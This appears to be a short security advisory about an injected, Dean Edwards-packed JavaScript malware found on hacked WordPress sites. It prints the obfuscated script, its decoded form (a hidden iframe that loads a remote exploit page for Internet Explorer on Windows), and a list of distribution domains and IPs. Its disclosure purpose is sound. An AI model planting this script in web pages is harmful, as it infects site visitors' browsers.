New Malware – eval(function(p,a,c,k,e,d)

We are seeing many WordPress sites on shared hosts getting compromised with an encoded javascript malware (using Dean Edwards packer). This is what is gets added to the hacked sites:
 

<script>eval(function(p,a,c,k,e,d){e=function(c) {return(c<a?”:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))}; if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}]; e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’ \\b’,'g’),k[c])}}return p}(‘i 9(){a=6.h(\’b\’);7(!a){5 0=6.j(\’k\’);6.g.l(0); .. 9()",y)}’,41,41,’el||ua|indexOf|style|var|document|if|1px| MakeFrameEx|element|yahoo_api|height| width|display|none|body|getElementById|function|createElement| iframe|appendChild|src|id|c0m|msie| toLowerCase|opera|webtv||setTimeout|windows|http|userAgent| 1000|hdghdg|navigator|li|showthread|php| 72241732′.split(‘|’),0,{}))

And that code (once decoded by the browser) is used to generate an iframe where more malware is loaded and used to infect the browser of the person visiting the compromised web site.
 
This is the code decoded:

function MakeFrameEx(){element=document.getElementById(‘yahoo_api’);if(!element){var el=document.createElement(‘iframe’);document.bo dy.appendChild(el);el.id=’yahoo_api’;el.style.display=’none’; el.src=’http://hdghd.c0m.li/showthread.php?t=72241732‘}}var  ua=navigator.userAgent.toLowerCase();if(((ua.indexOf("msie")!=-1&&ua.indexOf("opera")==-1&&ua.indexOf("webtv")==-1))&&ua.indexOf("windows")!=-1){var t=setTimeout("MakeFrameEx()",1000)}

Some domains being used to distribute the malware:
 

bdfzghdfh.nl.ai
chief-bagel.xe.cx
hdghd.c0m.li
probable-waitress.mypicture.info
http://dwrewr.c0m.li/showthread.php?t=68791819 (178.18.87.141)
http://chief-bagel.xe.cx/showthread.php?t=68791819 (95.163.66.209)
http://coldsoup.got-game.org/showthread.php?t=68791819 (95.163.66.209)
http://probable-waitress.mypicture.info/showthread.php?t=687918.. (95.163.66.209)
http://poorwine.freewww.biz/showthread.php?t=68791819 (95.163.66.209)
http://sockscape.gv.vg/showthread.php?t=50170030
http://simincc.co.be/showthread.php?t=10170030
http://krrrdid.co.cc/showthread.php?t=60170030

 
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